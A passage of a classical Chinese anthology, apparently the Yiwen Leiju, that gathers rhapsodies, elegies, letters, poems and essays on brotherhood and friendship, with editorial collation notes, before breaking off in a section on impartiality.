誉 .\n【 赋 】 魏 陈 王 曹 植 . 建 安 十 六 年 . 大 军 西 讨 马 超 . 太 子 留 监 国 . 植 时 从 焉 . 意 有 怀 恋 . 遂 作 离 思 之 赋 . 在 肇 秋 之 嘉 月 . 将 曜 师 而 西 旗 . 余 抱 疾 以 宾 从 . 扶 衡 轸 而 不 怡 . 虑 征 期 之 方 至 . 伤 无 阶 以 告 辞 . 念 慈 君 之 光 惠 . 庶 没 命 而 不 疑 . 欲 毕 力 于 旌 麾 . 将 何 心 而 远 之 . 愿 我 君 之 自 爱 . 为 皇 朝 而 宝 己 . 水 重 深 而 鱼 悦 . 林 循 茂 而 鸟 喜 .\n又 释 思 赋 曰 . 家 弟 出 养 族 父 郎 中 伊 . 余 以 兄 弟 之 爱 . 心 有 恋 然 . 作 此 赋 以 赠 之 . 彼 朋 友 之 离 别 . 犹 求 思 乎 白 驹 . 况 同 生 之 义 绝 . 重 背 亲 而 为 疏 . 乐 鸳 鸯 之 同 池 . 羡 比 翼 之 共 林 . 亮 根 异 其 何 戚 . 痛 别 干 之 伤 心 .\n晋 陆 机 述 思 赋 曰 . 情 易 感 于 已 揽 . 思 难 戢 于 未 忘 . 嗟 伊 思 之 且 尔 . 夫 何 往 而 弗 臧 . 骇 中 心 于 同 气 . 分 戚 貌 于 异 方 . 寒 鸟 悲 而 饶 音 . 衰 林 愁 而 寡 色 . 嗟 余 情 之 屡 伤 . 负 大 悲 之 无 力 . 苟 彼 涂 之 信 险 . 恐 此 日 之 行 昃 . 亮 相 见 之 几 何 . 又 离 居 而 别 域 . 观 尺 景 以 伤 悲 . 抚 寸 心 而 凄 恻 .\n【 文 】 晋 潘 岳 哭 弟 文 曰 . 视 不 见 兮 听 不 闻 . 逝 日 远 兮 忧 弥 殷 . 终 皓 首 兮 何 时 忘 . 情 楚 侧 兮 常 苦 辛 .\n【 祭 文 】 宋 陶 潜 祭 从 弟 文 曰 . 曰 仁 者 寿 . 窃 独 信 之 . 如 何 斯 言 . 独 能 见 斯 . 年 甫 过 立 . 奄 与 世 辞 . 长 归 蒿 里 . 邈 无 还 期 . 庭 树 如 故 . 齐 宇 廓 然 . 孰 云 敬 远 . 何 时 复 旋 .\n宋 颜 延 之 祖 祭 弟 文 曰 . 阖 棺 穷 野 . 启 殡 中 荒 . 灵 影 夙 灭 . 筵 寝 虚 张 . 人 往 运 来 . 自 秋 徂 阳 . 蕃 兰 落 色 . 宿 草 滋 长 . 孰 云 不 痛 . 辞 家 去 乡 . 尔 之 于 役 . 爰 适 兹 邑 . 上 秋 告 来 . 方 春 伫 立 . 如 何 不 吊 . 吉 违 凶 集 . 六 亲 憧 心 . 姻 朋 浩 泣 . 我 虽 载 奔 . 伊 何 云 及 . 求 怀 在 昔 . 追 亡 悼 存 . 惟 兄 及 弟 . 瞻 母 望 昆 . 生 无 荣 嬿 . 没 望 归 魂 . 令 龟 吉 兆 . 祖 榇 东 旋 . 灵 辕 次 路 . 严 舟 在 川 . 廓 然 何 及 . 痛 矣 终 天 .\n【 启 】 梁 简 文 帝 叙 南 康 简 王 薨 上 东 宫 启 曰 . 方 当 逸 足 长 衢 . 克 固 蕃 屏 . 而 峰 摧 璧 毁 . 一 朝 云 及 . 纲 兄 弟 各 从 王 役 . 东 守 西 抚 . 常 愿 陪 承 甲 馆 . 同 奉 画 堂 . 预 得 西 苑 赋 文 . 北 场 旋 食 . 岂 谓 不 幸 . 独 隔 昭 世 . 异 林 有 悲 . 飞 鸣 斯 切 . 伏 惟 殿 下 . 爱 睦 思 深 . 常 棣 天 笃 . 北 海 云 亡 . 骑 传 余 . 东 平 告 尽 . 驿 问 留 书 . 呜 呼 此 恨 . 复 在 兹 日 .\n梁 刘 孝 仪 从 弟 丧 上 东 宫 启 曰 . 亡 从 弟 遵 . 百 行 无 点 . 千 里 立 志 . 同 气 三 荆 之 友 . 假 寝 十 起 之 慈 . 皆 体 之 于 自 然 . 行 之 如 俛 拾 . 自 碣 宫 陪 宴 . 钓 台 从 幸 . 攀 附 鳞 翼 . 三 十 余 载 . 茫 昧 与 善 . 一 旦 长 辞 . 匿 光 芒 . 璧 碎 符 采 . 躬 摇 神 笔 . 亲 动 妙 思 . 虽 每 想 南 皮 . 书 忆 阮 瑀 . 行 经 北 馆 . 歌 悼 子 侯 . 不 足 辈 此 深 仁 . 齐 兹 旧 爱 .\n【 书 】 吴 陆 景 与 兄 书 曰 . 向 诀 不 知 所 言 . 追 惟 衔 恨 . 恨 结 胸 怀 . 怀 此 恋 恨 . 何 时 可 言 . 望 路 则 尚 近 . 别 已 千 里 . 其 为 思 结 . 缠 在 心 膂 . 于 是 离 折 . 路 人 悲 之 . 况 处 此 戚 . 兼 之 懿 好 . 情 之 感 咽 . 何 时 可 胜 . 念 兄 始 出 . 既 当 劳 思 . 严 寒 向 隆 . 经 涂 轗 轲 . 既 宜 保 德 . 为 世 作 资 . 厚 自 珍 爱 .\n又 与 兄 书 曰 . 自 寻 外 役 . 出 入 三 年 . 缘 兄 之 笃 睦 . 必 时 存 之 . 宝 录 兄 书 . 积 之 盈 笥 . 不 得 新 命 . 无 以 自 慰 . 时 辄 温 故 . 以 释 其 思 . 有 信 勿 忘 数 字 . 每 见 手 迹 . 如 复 蹔 会 .\n又 答 从 兄 安 成 王 书 ○ 严 可 均 全 梁 文 二 十 二 云 . 类 聚 载 此 文 于 陆 景 后 . 案 吴 时 诸 陆 无 封 安 成 王 者 . 当 是 萧 昺 之 文(唐 讳 昺 为 景 .)安 成 王 者 萧 秀 也 . 于 昺 为 从 兄 . 曰 . 奉 告 清 言 溢 目 . 眷 逮 周 委 . 炎 光 已 盛 . 愿 比 胜 宜 . 仰 承 发 止 . 已 次 新 林 . 引 迈 务 殷 . 无 妨 怡 赏 . 三 湘 奥 区 . 九 疑 形 胜 . 浮 洲 动 浪 . 闻 眠 鸥 之 旧 说 . 安 流 洞 浦 . 忆 采 若 之 遗 风 . 昔 景 伯 出 蕃 . 高 风 振 古 . 叔 英 之 部 . 清 约 见 称 . 兄 政 誉 平 宣 . 威 和 兼 济 . 加 以 夏 石 奇 云 . 秋 江 迥 月 . 翰 飞 纸 落 . 理 丰 辞 赋 . 赏 末 兴 余 . 时 希 逮 忆 . 睽 离 方 远 . 川 涂 脩 旷 . 炎 凉 方 改 . 愿 加 珍 勖 . 绿 字 可 传 . 自 云 终 闲 . 心 伤 泪 洒 . 投 笔 无 宣 .\n梁 元 帝 答 晋 安 王 叙 南 康 简 王 薨 书 曰 . 南 康 兄 器 宇 冲 贵\n. 风 神 英 挺 . 魏 之 中 山 . 徒 闻 退 让 . 晋 之 扶 风 . 虽 号 师\n范 . 用 今 方 昔 . 若 吞 梦 云 . 及 寻 阳 私 疾 . 孝 感 神 明 . 殆\n不 胜 丧 . 扶 而 后 起 . 犹 冀 天 道 可 期 . 岂 谓 福 善 虚 说 . 且\n分 违 易 久 . 嘉 会 难 逢 . 绸 缪 宫 阃 . 不 过 纨 绮 之 岁 . 离 群 作\n镇 . 动 回 星 纪 之 历 . 志 冀 双 鸾 之 集 . 遽 切 四 鸟 之 悲 . 松\n茂 柏 悦 . 夙 昔 欢 抃 . 芝 焚 蕙 叹 . 今 用 呜 咽 .\n又 曰 . 上 交 不 谄 . 下 交 不 渎 .\n毛 诗 曰 . 伐 木 . 燕 朋 友 故 旧 也 . 自 天 子 至 于 庶 人 . 未 有 不 须 友 以 成 者 也 .\n又 曰 . 虽 有 兄 弟 . 不 如 友 生 .\n又 曰 . 伐 木 丁 丁 . 鸟 鸣 嘤 嘤 . 出 自 幽 谷 . 移 于 乔 木 .\n又 曰 . 嘤 其 鸣 矣 . 求 其 友 声 .\n又 曰 . 朋 友 攸 摄 . 摄 以 威 仪 .\n礼 记 曰 . 君 子 之 交 淡 如 水 . 小 人 之 交 甘 如 醴 . 君 子 淡 以 成 . 小 人 甘 以 坏 .\n又 曰 . 寡 妇 之 子 . 非 有 见 焉 . 弗 与 为 友 .\n又 曰 . 君 子 不 尽 人 之 欢 . 以 全 交 也 .\n又 曰 . 儒 有 合 志 同 方 . 营 道 同 术 . 久 不 相 见 . 闻 流 言 不 信 . 义 同 而 进 . 不 同 退 . 其 交 友 有 如 此 者 .\n大 戴 礼 曰 . 与 君 子 游 . 苾 乎 如 入 兰 芷 之 室 . 久 而 不 闻 其 香 . 则 与 之 化 矣 .\n孝 经 曰 . 士 有 争 友 . 则 身 不 离 于 令 名 .\n论 语 曰 . 与 朋 友 交 . 言 而 有 信 . 虽 曰 未 学 . 吾 必 谓 之 学 矣 .\n又 曰 . 朋 友 数 . 斯 疏 矣 .\n又 曰 . 朋 友 切 切 偲 偲 . 兄 弟 怡 怡 .\n又 曰 . 愿 车 马 . 衣 轻 裘 . 与 朋 友 共 . 敝 之 而 无 憾 . 事 具 叙 志 篇 .\n又 曰 . 益 者 三 友 . 损 者 三 友 . 友 直 . 友 谅 . 友 多 闻 . 益 矣 . 友 便 僻 . 友 善 柔 . 友 便 佞 . 损 矣 .\n又 曰 . 君 子 以 文 会 友 . 以 友 辅 仁 .\n家 语 曰 . 行 循 而 名 不 彰 . 友 之 罪 也 . 故 君 子 入 则 笃 行 . 出 则 友 贤 .\n庄 子 曰 . 鱼 相 造 乎 水 . 人 相 造 乎 道 . 故 鱼 相 忘 于 江 湖 . 人 相 忘 于 道 术 .\n又 曰 . 凡 交 近 则 必 相 靡 以 信 .\n孟 子 曰 . 舜 见 帝 . 帝 馆 于 贰 室 . 迭 为 宾 主 . 是 天 子 友 疋 夫 也 .\n列 子 曰 . 管 夷 吾 鲍 叔 牙 . 二 人 相 友 . 管 仲 曰 . 吾 与 鲍 叔 贾 . 分 财 多 自 与 . 鲍 叔 不 以 我 为 贪 . 知 吾 有 亲 也 . 吾 尝 为 鲍 叔 谋 事 . 大 穷 困 . 鲍 叔 不 以 我 为 愚 . 知 时 有 不 利 也 . 吾 尝 三 仕 三 见 逐 . 鲍 叔 不 以 我 为 不 肖 . 知 不 遭 时 也 . 知 我 者 鲍 叔 . 生 我 者 父 母 .\n孔 藂 子 曰 . 昔 虢 叔 闳 夭 太 颠 散 宜 生 南 宫 适 五 臣 同 寮 比 德 . 赞 文 武 . 及 虢 叔 死 . 四 人 为 服 朋 友 之 服 .\n刘 歆 新 议 曰 . 夫 交 接 者 . 人 道 之 本 始 . 纪 纲 之 大 要 . 名 由 之 成 . 事 由 之 立 .\n又 曰 . 交 之 于 人 也 . 犹 唇 齿 之 相 济 .\n又 曰 . 才 非 交 不 用 . 名 非 交 不 发 . 义 非 交 不 立 .\n谯 子 曰 . 夫 交 之 道 . 犹 素 之 白 也 . 染 之 以 朱 则 赤 . 染 之 以 蓝 则 青 .\n又 曰 . 交 得 其 人 . 千 里 同 好 . 固 于 胶 漆 . 坚 于 金 石 . 贡 公 之 于 王 吉 . 可 谓 推 贤 矣 .\n汉 书 曰 . 翟 公 署 门 . 一 贵 一 贱 . 交 情 乃 见 . 一 死 一 生 . 乃 知 交 情 . 一 贫 一 富 . 乃 知 交 态 . 事 具 职 官 部 廷 尉 篇 .\n贾 ○ 太 平 御 览 四 百 零 六 作 要 . 览 曰 . 势 利 之 交 . 难 以 经 远 . 士 之 相 知 . 温 不 增 华 . 寒 不 改 叶 . 贯 四 时 而 不 衰 . 历 夷 险 而 益 固 .\n谢 承 后 汉 书 曰 . 张 元 伯 范 巨 卿 二 人 友 . 元 伯 卒 . 巨 卿 梦 见 元 伯 死 . 当 葬 . 曰 . 卿 . 子 未 我 忘 . 当 奔 葬 . 巨 卿 往 赴 之 . 事 具 梦 部 . 晋 中 兴 书 曰 . 郤 超 所 交 . 皆 一 时 秀 美 . 虽 寒 门 后 进 . 亦 拔 而 友 之 .\n竹 林 七 贤 传 曰 . 山 涛 与 阮 籍 嵇 康 . 皆 一 面 契 若 金 兰 . 涛 语 妻 曰 . 吾 当 年 可 为 交 者 . 唯 此 二 人 耳 .\n世 记 ○ 太 平 御 览 四 百 零 九 作 说 . 曰 . 荀 巨 伯 远 看 友 人 疾 . 值 胡 贼 攻 郡 . 巨 伯 不 忍 去 . 贼 既 至 . 谓 巨 伯 曰 . 大 军 至 . 一 郡 并 空 . 汝 何 男 子 . 敢 独 止 此 . 巨 伯 曰 . 有 友 人 疾 . 不 忍 委 之 . 宁 以 我 身 代 友 人 之 命 . 贼 知 其 贤 . 疾 旋 军 而 还 .\n【 诗 】 魏 陈 王 曹 植 离 友 诗 曰 . 乡 人 有 夏 侯 威 者 . 少 有 成 人 之 风 . 余 尚 其 为 人 . 与 之 昵 好 . 王 师 振 旅 . 送 余 于 魏 邦 . 心 有 眷 然 . 为 之 陨 涕 . 乃 作 离 友 之 诗 . 其 辞 曰 . 王 旅 游 兮 背 故 乡 . 彼 君 子 兮 笃 人 纲 . 媵 予 行 兮 归 朔 方 . 驰 原 隰 兮 寻 旧 疆 . 车 载 奔 兮 马 繁 骧 . 涉 浮 济 兮 泛 轻 航 . 迄 魏 都 兮 息 兰 房 . 展 宴 好 兮 惟 乐 康 .\n晋 郭 璞 赠 温 峤 诗 曰 . 人 亦 有 言 . 松 竹 有 林 . 及 尔 臭 味 . 异 苔 同 岑 . 言 以 忘 得 . 交 以 淡 成 . 同 匪 伊 和 . 惟 我 与 生 . 尔 神 余 契 . 我 怀 子 情 . 携 手 一 豁 . 安 知 尘 冥 .\n齐 谢 朓 赠 友 人 诗 曰 . 芳 洲 有 杜 若 . 可 以 赠 佳 期 . 望 望 忽 超 远 . 何 由 见 所 思 . 我 行 未 千 里 . 山 川 以 闲 之 . 离 居 方 岁 月 . 故 人 不 在 兹 . 清 风 动 帘 夜 . 孤 月 照 窗 时 . 安 得 同 携 手 . 酌 酒 赋 新 诗 .\n梁 陆 倕 赠 京 邑 僚 友 诗 曰 . 余 本 水 乡 士 . ● 门 江 海 隅 . 时 逢 道 世 泰 . 蹇 足 出 高 衢 . 江 中 寒 事 早 . 夜 露 伤 秋 草 . 心 属 姑 苏 台 . 目 送 邯 郸 道 . 追 惟 畴 昔 时 . 朝 府 多 欢 暇 . 薄 暮 埃 尘 静 . 飞 盖 相 追 迓 . 李 郭 或 同 舟 . 潘 夏 时 方 驾 . 娱 欢 追 美 景 . 敷 文 永 清 夜 . 促 膝 岂 异 人 . 戚 戚 皆 姻 娅 .\n【 赋 】 梁 丘 迟 思 贤 赋 曰 . 岂 顾 问 哉 . 相 然 信 死 . 斯 则 结 深 念 于 抚 翼 . 跂 雄 飞 而 俱 起 . 知 我 于 财 利 之 闲 . 何 足 多 于 鲍 子 . 目 击 而 道 存 . 至 味 其 如 水 . 未 见 其 人 . 吾 闻 其 理 矣 . 夫 子 长 之 托 意 . 甘 执 鞭 于 异 世 . 在 慈 明 之 慕 义 . 聊 惭 驭 而 追 悦 . 况 至 德 之 可 师 . 无 兼 裘 以 共 弊 . 有 乐 安 之 任 子 . 伟 群 才 而 称 杰 . 备 百 行 之 高 致 . 该 九 流 之 洪 艺 . 谅 可 杂 而 非 染 . 迹 每 同 而 常 别 . 墙 易 入 而 难 窥 . 关 无 键 而 有 ● . 思 若 神 而 泉 涌 . 翰 如 云 而 积 袂 . 沉 潜 于 怀 抱 之 闲 . 萧 散 于 天 人 之 际 . 日 下 愧 其 未 双 . 关 西 惭 于 上 哲 . 纷 吾 既 有 此 固 陋 . 荷 君 子 之 渥 惠 . 尘 非 府 而 分 深 . 叶 未 移 而 好 结 . 寻 宿 草 之 宴 处 . 历 三 纪 于 兹 日 . 性 有 同 于 杞 梓 . 心 获 变 于 丹 漆 . 文 何 属 而 不 辩 . 理 何 疑 而 匪 质 . 问 不 休 而 钟 扣 . 答 无 穷 而 座 谧 .\n【 赞 】 晋 夏 侯 湛 管 仲 像 赞 曰 . 堂 堂 管 生 . 忘 存 兴 仁 . 仁 道 在 己 . 唯 患 无 身 . 苞 辱 远 害 . 思 济 彝 伦 . 心 寄 鲍 子 . 动 成 生 民 .\n又 鲍 叔 像 赞 曰 . 鲍 子 愔 愔 . 式 昭 德 音 . 绸 缪 敬 叔 . 二 人 同 心 . 厥 芳 犹 兰 . 其 坚 如 金 . 遥 遥 景 迹 . 君 子 攸 钦 .\n【 箴 】 宋 周 秖 执 友 箴 曰 . 四 辅 扬 辉 . 伐 木 幽 林 . 抚 乔\n鸾 飞 . 爰 逮 姬 衰 . 俗 遂 凋 成 . 交 缘 利 昵 . 用 因 伪 情 . 谷\n风 兴 哀 . 繁 霜 夏 零 . 道 之 未 尽 . 弘 焉 由 人 . 自 室 有 回 .\n过 门 则 亲 . 微 言 绵 邈 . 清 谈 辍 响 . 金 虽 能 照 . 尘 积 翳 朗\n. 西 河 感 离 . 口 悟 投 杖 . 慊 慊 文 侯 . 友 贤 好 学 . 英 英 燕\n昭 . 礼 郭 致 乐 . 推 诚 岁 寒 . 功 摽 松 竹 . 落 落 高 札 . 辽 辽\n庄 惠 . 解 带 一 愚 . 道 映 万 世 . 人 亦 有 言 . 贵 则 易 交 . 利\n重 太 山 . 道 轻 鸿 毛 . 久 而 致 敬 . 见 之 晏 平 . 霜 雪 既 至 .\n劲 柏 冬 青 .\n又 曰 . 伐 木 废 . 则 朋 友 缺 矣 .\n汉 书 曰 . 张 耳 陈 余 . 始 居 约 时 . 相 然 信 死 . 岂 顾 问 哉 . 及 据 国 争 权 . 卒 相 灭 亡 . 势 利 之 交 . 古 人 羞 之 .\n又 曰 . 萧 育 少 与 朱 博 为 友 . 着 闻 当 世 . 故 长 安 语 曰 . 萧 朱 结 绶 . 王 贡 弹 冠 . 始 育 公 卿 子 显 . 博 尚 为 杜 陵 亭 长 . 为 育 进 举 . 遂 至 丞 相 . 与 博 有 隙 .\n世 记 曰 . 王 恭 王 都 ○ 本 条 见 世 说 识 鉴 篇 . 云 王 恭 随 父 在 会 稽 .王 大(忱)自 都 来 拜 墓 云 云 . 此 有 脱 讹 . 二 人 素 相 友 善 . 恭 父 曰 . 恐 非 子 之 . ○ 世 说 之 下 有 友 字 . 后 遂 不 终 .\n【 书 】 魏 应 玚 报 庞 惠 恭 书 曰 . 夫 萧 艾 之 歌 . 发 于 信 宿 . 子 衿 之 思 . 起 不 嗣 音 . 况 实 三 载 . 能 不 有 怀 . 虽 萱 草 树 背 . 皋 苏 在 侧 . 悒 愤 不 逞 . 秖 以 增 毒 . 朝 隐 之 官 . 宾 不 往 来 . 乔 木 之 下 . 旷 无 休 息 . 抱 劳 而 已 . 足 下 剖 符 南 面 . 振 威 千 里 . 行 人 子 羽 . 朝 夕 相 继 . 曾 不 枉 咫 尺 之 路 . 问 蓬 室 之 旧 . 过 意 赐 书 . 辞 不 半 纸 . 慰 藉 轻 于 缯 缟 . 讥 望 重 于 丘 山 . 是 角 弓 之 诗 . 所 以 为 刺 也 . 植 鹭 羽 于 宛 丘 . 骋 骏 足 于 株 林 . 发 明 月 之 辉 光 . 照 妖 人 之 窈 窕 . 斯 亦 所 以 眩 耳 目 之 视 听 . 亡 声 命 于 知 友 者 也 .\n晋 嵇 康 与 山 涛 绝 交 书 曰 . 柳 下 惠 东 方 朔 . 达 人 也 . 安 乎 卑 位 . 吾 岂 敢 短 之 哉 . 仲 尼 兼 爱 . 不 羞 执 鞭 . 子 文 无 欲 卿 相 . 而 三 登 令 尹 . 且 延 陵 高 子 臧 之 风 . 长 卿 慕 相 如 之 节 . 志 气 所 托 . 亦 不 可 夺 也 . 吾 每 读 尚 子 平 台 孝 威 传 . 慨 然 慕 之 . 想 其 为 人 . 又 纵 逸 来 久 . 情 意 傲 散 . 简 与 礼 相 背 . 懒 与 慢 相 成 . 而 为 侪 类 见 宽 . 不 攻 其 过 . 故 使 荣 进 之 心 日 颓 . 任 实 之 情 转 笃 . 此 由 禽 鹿 . 少 见 驯 育 . 则 服 从 教 制 . 长 而 见 羁 . 则 狂 顾 顿 缨 . 赴 蹈 汤 火 . 虽 饰 以 金 镳 . 飨 以 嘉 肴 . 愈 思 长 林 . 而 志 在 丰 草 也 . 又 人 伦 有 礼 . 朝 廷 有 法 . 自 惟 至 熟 . 有 必 不 堪 者 七 . 甚 不 可 者 二 . 卧 喜 晚 起 . 而 当 关 呼 之 不 置 . 一 不 堪 也 . 抱 琴 行 吟 . 弋 钓 草 野 . 而 吏 卒 守 之 . 不 得 妄 动 . 二 不 堪 也 . 危 坐 一 时 . 痹 不 得 摇 . 性 复 多 虱 . 把 搔 无 已 . 而 当 裹 以 章 服 . 揖 拜 上 官 . 三 不 堪 也 . 素 不 便 书 . 不 喜 作 书 . 而 人 间 多 事 . 堆 案 盈 几 . 不 相 酬 答 . 则 犯 教 伤 义 . 欲 自 勉 强 . 则 不 能 及 . 四 不 堪 也 . 不 喜 吊 丧 . 而 人 道 以 此 为 重 . 己 为 未 见 恕 者 所 怨 . 至 欲 见 中 伤 者 . 虽 惧 然 自 责 . 然 不 可 化 . 终 不 能 获 无 咎 无 誉 如 此 . 五 不 堪 也 . 不 喜 俗 人 . 而 当 与 之 共 事 . 或 宾 客 盈 坐 . 鸣 声 聒 耳 . 嚣 尘 臭 处 . 千 变 百 技 . 在 人 目 前 . 六 不 堪 也 . 心 不 耐 烦 . 而 官 事 鞅 掌 . 机 务 缠 其 心 . 世 故 繁 其 虑 . 七 不 堪 也 . 又 每 非 汤 武 而 薄 周 孔 . 人 间 不 止 此 事 . 会 显 世 教 所 不 容 . 此 甚 不 可 一 也 . 刚 肠 疾 恶 . 轻 肆 直 言 . 遇 事 便 发 . 此 甚 不 可 二 也 . 以 促 中 心 ○ 文 选 四 十 三 心 上 有 小 字 . 之 性 . 统 此 九 患 . 不 有 外 难 . 当 有 内 病 . 宁 可 久 处 人 间 邪 . 又 闻 道 士 遗 言 . 饵 术 黄 精 . 令 人 益 寿 . 意 甚 信 之 . 游 山 泽 . 观 鱼 鸟 . 心 甚 乐 之 . 一 行 作 吏 . 此 事 便 废 . 足 下 见 直 木 必 不 可 以 为 轮 . 曲 者 必 不 可 以 为 桷 . 盖 不 欲 以 枉 其 天 才 . 令 得 其 所 也 . 不 可 自 见 好 章 甫 . 强 越 人 以 文 冕 也 . 今 但 愿 守 陋 巷 . 教 子 孙 . 时 时 与 亲 旧 叙 阔 . 陈 说 平 生 . 浊 酒 一 柸 . 弹 琴 一 曲 . 志 愿 毕 矣 .\n【 论 】 后 汉 朱 穆 绝 交 论 曰 . 世 之 务 交 游 也 . 甚 矣 . 不 敦 于 业 . 不 忌 于 君 . 犯 祀 以 追 之 . 背 公 以 从 之 . 事 替 义 退 . 公 轻 私 重 .\n魏 徐 干 中 论 曰 . 大 夫 州 郡 牧 守 . 王 事 不 恤 . 宾 客 为 务 . 冠 盖 阗 门 . 服 膺 盈 道 . 殷 殷 沄 沄 . 俾 夜 作 昼 . 星 言 夙 驾 . 送 往 迎 来 . 停 传 常 满 . 吏 卒 侍 门 . 炬 火 夜 行 . 阍 寺 不 关 . 文 书 委 于 官 曹 . 系 囚 积 于 囹 圄 . 为 师 无 以 教 训 . 弟 子 亦 不 受 业 . 或 身 没 他 邦 而 不 归 . 父 母 怀 独 之 思 . 室 人 抱 东 山 之 哀 . 嗟 乎 . 王 教 之 败 . 乃 至 于 此 . 林 宗 之 时 所 谓 交 游 者 也 . 轻 位 不 仕 者 . 则 有 巢 许 之 高 . 废 职 待 客 者 . 则 有 仲 尼 之 称 . 委 亲 远 学 者 . 则 有 优 游 之 美 . 是 以 各 眩 其 名 . 而 忘 天 下 之 乱 也 .\n梁 刘 孝 标 广 绝 交 论 曰 . 若 夫 组 织 仁 义 . 琢 磨 道 德 . 欢\n其 愉 乐 . 恤 其 凌 夷 . 寄 通 灵 台 之 下 . 遗 迹 江 湖 之 上 . 风\n雨 急 而 不 辍 其 音 . 霜 雪 零 而 不 渝 其 色 . 斯 则 贤 达 之 素 交\n. 历 万 古 而 一 遇 . 逮 叔 世 民 讹 . 徂 诈 飙 起 . 溪 谷 不 能 逾\n其 险 . 鬼 神 无 以 究 其 变 . 竞 羽 毛 之 轻 . 趍 锥 刀 之 末 . 于\n是 素 交 尽 . 利 交 兴 . 天 下 蚩 蚩 . 鸟 惊 雷 骇 . 然 利 交 同 源\n. 派 流 则 异 . 较 言 其 略 . 有 五 术 焉 . 若 其 宠 均 董 石 . 权\n压 梁 窦 . 雕 刻 百 工 . 鑪 锤 万 物 . 九 域 耸 其 风 尘 . 四 海 叠\n其 熏 灼 . 靡 不 望 影 星 奔 . 藉 响 川 骛 . 约 同 要 离 焚 妻 子 .\n誓 殉 荆 卿 湛 七 ○ 原 作 亡 . 据 文 选 五 十 五\n改 . 族 . 是 ○ 原 脱 . 据 冯 校 本 补\n. 曰 势 交 . 其 流 一 也 . 富 均 陶 白 . 赀 巨 程 罗 . 山 擅\n铜 陵 . 家 藏 金 穴 . 则 有 穷 巷 之 宾 . 绳 枢 之 士 . 冀 宵 烛 之\n末 光 . 邀 润 屋 之 微 泽 . 衔 恩 遇 . 进 款 诚 . 援 青 松 以 示 心\n. 指 白 水 而 旌 信 . 是 曰 贿 交 . 其 流 二 也 . 陆 大 夫 宴 喜 西\n都 . 郭 有 道 人 伦 东 国 . 公 卿 贵 其 藉 甚 . 搢 绅 羡 其 登 仙 .\n加 以 顩 颐 蹙 頞 . 涕 唾 流 沫 . 骋 黄 马 之 剧 谈 . 纵 碧 鸡 之 雄\n辨 . 于 是 有 弱 冠 王 孙 . 绮 纨 公 子 . 道 不 挂 于 通 人 . 声 未\n遒 于 云 阁 . 攀 其 鳞 翼 . 丐 其 余 论 . 附 驵 骥 之 髦 端 . 轶 归\n鸿 于 碣 石 . 是 曰 谈 交 . 其 流 三 也 . 阳 舒 阴 惨 . 生 民 大 情\n. 忧 合 欢 离 . 品 物 恒 性 . 故 鱼 以 泉 涸 而 煦 沫 . 鸟 因 将 死\n而 鸣 哀 . 同 病 相 怜 . 缀 河 上 之 悲 曲 . 恐 惧 置 怀 . 昭 谷 风\n之 盛 典 . 斯 则 断 金 由 于 湫 隘 . 刎 颈 起 于 苫 盖 . 是 以 伍 员\n濯 溉 于 宰 嚭 . 张 王 抚 翼 于 陈 相 . 是 曰 穷 交 . 其 流 四 也 .\n驰 骛 之 俗 . 浇 薄 之 伦 . 无 不 操 权 衡 . 秉 纤 纩 . 衡 所 以 量\n其 轻 重 . 纩 所 以 属 其 鼻 息 . 若 衡 不 能 举 . 纩 不 能 飞 . 虽\n颜 冉 龙 翰 凤 鶵 . 曾 史 兰 薰 雪 白 . 视 若 游 尘 . 遇 如 断 梗 .\n莫 肯 费 其 半 菽 . 罕 有 落 其 一 毛 . 若 衡 重 锱 铢 . 纩 微 彯 撇\n. 虽 共 工 之 搜 慝 . 欢 兜 之 掩 义 . 南 荆 之 跋 扈 . 东 陵 之 巨\n猾 . 皆 为 匍 匐 委 蛇 . 折 支 舐 痔 . 金 膏 翠 羽 将 其 意 . 脂 韦\n便 辟 导 其 诚 . 谋 而 后 动 . 芒 毫 寡 忒 . 是 曰 量 交 . 其 流 五\n也 . 凡 斯 五 交 . 义 均 贾 鬻 . 故 桓 谈 譬 之 于 阛 阓 . 林 回 喻\n之 于 甘 醴 . 近 世 有 乐 安 任 昉 . 海 内 髦 杰 . 早 绾 银 黄 . 夙\n昭 民 誉 . 遒 文 丽 藻 . 方 驾 曹 王 . 英 特 俊 迈 . 联 横 许 郭 .\n类 田 文 之 爱 士 . 同 郑 庄 之 好 贤 . 见 一 善 则 盱 衡 扼 腕 . 遇\n一 才 则 扬 眉 抵 掌 . 至 顾 眄 增 其 倍 价 . 剪 拂 使 其 长 鸣 . 彯\n组 云 台 者 肩 磨 . 趍 走 丹 墀 者 叠 迹 . 莫 不 缔 恩 狎 . 结 绸 缪\n. 想 庄 惠 之 清 尘 . 庶 羊 左 之 徽 烈 . 及 瞑 目 东 越 . 归 骸 洛\n浦 . 穗 帐 犹 悬 . 门 罕 渍 酒 之 彦 . 坟 未 宿 草 . 野 绝 动 轮 之\n宾 . 藐 尔 诸 孤 . 朝 不 谋 夕 . 流 离 大 海 之 南 . 寄 命 瘴 疠 之\n地 . 自 昔 把 臂 之 英 . 金 兰 之 友 . 曾 无 羊 舌 下 泣 之 仁 . 宁\n慕 郈 成 分 宅 之 德 . 呜 呼 . 世 路 险 巇 . 一 至 于 此 . 太 行 孟\n门 . 岂 云 绝 . 是 以 耿 介 之 士 . 疾 其 若 斯 . 裂 裳 裹 足 .\n弃 之 长 骛 . 独 立 高 山 之 顶 . 欢 与 麋 鹿 同 群 . 曒 曒 然 绝 其\n氛 浊 . 诚 耻 之 也 . 诚 畏 之 也 .\n人 部 六 公\n平 品 藻 质 文\n左 传 曰 . 贾 季 奔 狄 . 宣 子 使 臾 骈 送 其 帑 . 夷 之 搜 . 贾 季 戮 臾 骈 . 臾 骈 之 人 欲 尽 杀 贾 氏 以 报 焉 . 臾 骈 曰 . 不 可 . 吾 闻 前 志 有 之 曰 . 敌 惠 敌 怨 . 不 在 后 嗣 . 忠 之 道 也 . 夫 子 礼 于 贾 季 . 我 以 其 宠 报 私 怨 . 无 乃 不 可 乎 .\n又 曰 . 祁 奚 请 老 . 晋 侯 问 嗣 焉 . 称 解 狐 . 其 雠 也 . 将 立 之 而 卒 . 又 问 焉 . 对 曰 . 午 也 可 . 于 是 羊 舌 职 死 矣 . 晋 侯 曰 . 孰 可 以 代 之 . 对 曰 . 赤 也 可 . 于 是 使 祁 午 为 中 军 尉 . 羊 舌 赤 佐 之 . 君 子 谓 祁 奚 能 举 善 矣 . 称 其 雠 . 不 为 谄 . 立 其 子 . 不 为 比 . 举 其 偏 . 不 为 党 .\n礼 记 曰 . 昔 卫 献 公 出 奔 . 反 国 . 及 郊 . 将 颁 邑 于 从 者 而 后 入 . 柳 庄 曰 . 如 皆 守 社 稷 . 则 孰 执 羁 靮 而 从 . 如 